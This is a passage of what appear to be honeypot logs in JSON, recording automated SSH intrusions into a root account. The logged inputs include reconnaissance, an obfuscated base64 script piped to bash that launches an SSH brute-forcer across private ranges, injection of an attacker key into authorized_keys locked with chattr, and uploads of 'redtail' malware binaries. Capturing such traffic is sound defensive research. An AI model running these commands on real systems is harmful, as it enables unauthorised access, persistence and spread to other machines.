/opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:08:20.228445+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:08:21.545759+00:00","kind":"output","latency_ms":1313,"data":" 08:58:12 up 8:58, 1 user, load average: 0.02, 0.03, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 08:57 0.00s 0.03s 0.00s w"},{"seq":18,"at":"2026-08-20T12:08:21.865294+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:08:21.865858+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:08:22.182824+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:08:22.661124+00:00","kind":"output","latency_ms":477,"data":"64"},{"seq":22,"at":"2026-08-20T12:08:22.980359+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:08:22.981004+00:00","kind":"output","latency_ms":null,"data":"top - 12:08:22 up 8:58, 0 user, load average: 0.16, 0.16, 0.13\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 564 free, 392 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:08:23.298552+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:08:23.298857+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:08:23.617066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:08:23.617697+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:08:23.936900+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:08:23.937748+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:08:24.256717+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:08:25.270325+00:00","kind":"output","latency_ms":1013,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:08:25.588592+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:08:26.265708+00:00","kind":"output","latency_ms":676,"data":"24G"},{"seq":34,"at":"2026-08-20T12:08:27.377532+00:00","kind":"input","latency_ms":null,"data":"echo \"root admin123.\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:08:27.694136+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:08:28.339036+00:00","kind":"output","latency_ms":644,"data":""},{"seq":37,"at":"2026-08-20T12:08:28.790926+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:08:29.526524+00:00","kind":"output","latency_ms":734,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":39,"at":"2026-08-20T12:08:29.845881+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:08:30.642064+00:00","kind":"output","latency_ms":795,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":41,"at":"2026-08-20T12:08:30.960516+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:08:31.277610+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:08:31.876086+00:00","kind":"output","latency_ms":597,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":44,"at":"2026-08-20T12:08:32.193950+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:08:32.783310+00:00","kind":"output","latency_ms":588,"data":"status=ok\ntoken=hayloft-7d3c\nlast_sync=2026-08-20T11:44:09Z"},{"seq":46,"at":"2026-08-20T12:08:33.103896+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:08:33.663419+00:00","kind":"output","latency_ms":558,"data":""},{"seq":48,"at":"2026-08-20T12:08:41.367637+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:08:41.368743+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"admin123.","method":"password","accepted":true,"tier":"other"}]} {"id":"87c2eb28-34f2-44c9-9d94-210ae924165b","name":"crimson-nimble-meerkat","protocol":"ssh","channel_kind":"sftp","src_ip":"77.90.185.20","src_port":57926,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n","started_at":"2026-08-20T07:29:14.913545+00:00","ended_at":"2026-08-20T07:29:15.120608+00:00","ended_reason":"exec complete","commands":8,"transcript_bytes":994,"events":[{"seq":1,"at":"2026-08-20T07:29:14.798249+00:00","kind":"input","latency_ms":null,"data":"chmod +x clean.sh; sh clean.sh; rm -rf clean.sh; chmod +x setup.sh; sh setup.sh; rm -rf setup.sh; mkdir -p ~/.ssh; chattr -ia ~/.ssh/authorized_keys; echo \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHrvnL6l7rT/mt1AdgdY9tC1GPK216q0q/7neNVqm7AgvfJIM3ZKniGC3S5x6KOEApk+83GM4IKjCPfq007SvT07qh9AscVxegv66I5yuZTEaDAG6cPXxg3/0oXHTOTvxelgbRrMzfU5SEDAEi8+ByKMefE+pDVALgSTBYhol96hu1GthAMtPAFahqxrvaRR4nL4ijxOsmSLREoAb1lxiX7yvoYLT45/1c5dJdrJrQ60uKyieQ6FieWpO2xF6tzfdmHbiVdSmdw0BiCRwe+fuknZYQxIC1owAj2p5bc+nzVTi3mtBEk9rGpgBnJ1hcEUslEf/zevIcX8+6H7kUMRr rsa-key-20230629\" > ~/.ssh/authorized_keys; chattr +ai ~/.ssh/authorized_keys; uname -a; echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\\x0A\"\n"},{"seq":2,"at":"2026-08-20T07:29:14.934077+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/clean.sh (1157 bytes)"},{"seq":3,"at":"2026-08-20T07:29:15.001660+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm7 (1448252 bytes)"},{"seq":4,"at":"2026-08-20T07:29:15.097592+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/setup.sh (2126 bytes)"},{"seq":5,"at":"2026-08-20T07:29:15.115062+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.arm8 (1696412 bytes)"},{"seq":6,"at":"2026-08-20T07:29:15.117442+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.i686 (1838060 bytes)"},{"seq":7,"at":"2026-08-20T07:29:15.118356+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.riscv (1759768 bytes)"},{"seq":8,"at":"2026-08-20T07:29:15.119568+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/redtail.x86_64 (1989056 bytes)"}],"credentials":[{"username":"root","password":"Qwer1234","method":"password","accepted":true,"tier":"other"}]}